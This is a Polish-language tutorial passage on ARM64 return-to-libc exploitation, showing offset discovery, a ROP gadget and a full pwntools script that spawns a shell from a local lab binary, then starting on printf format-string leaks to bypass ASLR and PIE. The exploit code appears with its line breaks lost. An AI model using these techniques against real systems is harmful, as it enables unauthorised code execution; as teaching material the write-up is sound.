Tworząc wzorzec za pomocą pattern create 200, używając go i sprawdzając przesunięcie za pomocą pattern search $x30, możemy zobaczyć, że przesunięcie wynosi 108 (0x6c).
Przyglądając się rozłożonej funkcji głównej, możemy zobaczyć, że chcielibyśmy przeskoczyć do instrukcji skoku bezpośrednio do printf, którego przesunięcie od miejsca, w którym załadowany jest plik binarny, wynosi 0x860:
Znajdź system i ciąg /bin/sh
Ponieważ ASLR jest wyłączone, adresy będą zawsze takie same:
Znajdź Gadżety
Musimy mieć w x0 adres ciągu /bin/sh i wywołać system.
Korzystając z narzędzia rooper, znaleziono interesujący gadżet:
Ten gadżet załaduje x0 z $sp + 0x18 a następnie załaduje adresy x29 i x30 ze stosu i przeskoczy do x30. Dzięki temu gadżetowi możemy kontrolować pierwszy argument i następnie skoczyć do systemu.
Wykorzystanie
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - NX, ASL & PIE bypass z wyciekiem printf z stosu
Wykorzystanie przepełnienia bufora, aby wrócić do funkcji main
Runda 2:
Wyciek libc ze stosu
ROP: ret2system
Wycieki z funkcji Printf
Ustawienie punktu przerwania przed wywołaniem funkcji printf pozwala zobaczyć, że na stosie znajdują się adresy do powrotu do binarnego pliku oraz adresy libc:
Próba różnych przesunięć, %21$p może ujawnić adres binarny (omijanie PIE), a %25$p może ujawnić adres libc:
Odejmując wyciekły adres libc od adresu bazowego libc, można zobaczyć, że przesunięcie adresu ujawnionego od bazy wynosi 0x49c40.
Przesunięcie x30
Zobacz poprzedni przykład, ponieważ przepełnienie bufora jest takie samo.
Znajdowanie Gadgetów
Podobnie jak w poprzednim przykładzie, musimy mieć w x0 adres do łańcucha /bin/sh i wywołać funkcję system.
Korzystając z narzędzia rooper, znaleziono kolejny interesujący gadżet: